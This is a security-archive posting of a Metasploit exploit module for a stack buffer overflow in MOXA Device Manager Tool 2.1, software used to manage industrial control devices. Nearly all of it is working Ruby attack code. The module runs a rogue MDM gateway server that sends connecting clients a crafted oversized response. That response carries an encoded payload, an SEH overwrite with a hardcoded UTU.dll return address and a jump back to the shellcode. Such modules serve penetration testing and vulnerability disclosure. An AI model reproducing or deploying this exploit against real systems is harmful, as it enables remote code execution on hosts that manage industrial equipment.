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MOXA Device Manager Tool 2.1 Buffer Overflow

MOXA Device Manager Tool 2.1 Buffer Overflow
Posted Nov 8, 2010
Authored by Ruben Santamarta, MC | Site metasploit.com

This Metasploit module exploits a stack overflow in MOXA MDM Tool 2.1. When sending a specially crafted MDMGw (MDM2_Gateway) response, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
SHA-256 | d1dd4e7fce98d32b48eac6791f3f78990a4253f063ff4c36a0b84dd00ca14a1c

MOXA Device Manager Tool 2.1 Buffer Overflow

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##
# $Id: moxa_mdmtool.rb 10940 2010-11-07 14:58:55Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in MOXA MDM Tool 2.1.
When sending a specially crafted MDMGw (MDM2_Gateway) response, an
attacker may be able to execute arbitrary code.
},
'Author' => [ 'Ruben Santamarta', 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10940 $',
'References' =>
[
[ 'OSVDB', '69027'],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
],
'Privileged' => false,
'DisclosureDate' => 'Oct 20 2010',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
], self.class)
end

def on_client_connect(client)

return if ((p = regenerate_payload(client)) == nil)

client.get_once

sploit = rand_text_alpha_upper(18024)

sploit[0, 4] = [0x29001028].pack('V')
sploit[472, payload.encoded.length] = payload.encoded
sploit[1072, 8] = generate_seh_record(target.ret)
sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string

client.put(sploit)

handler(client)

service.close_client(client)

end
end
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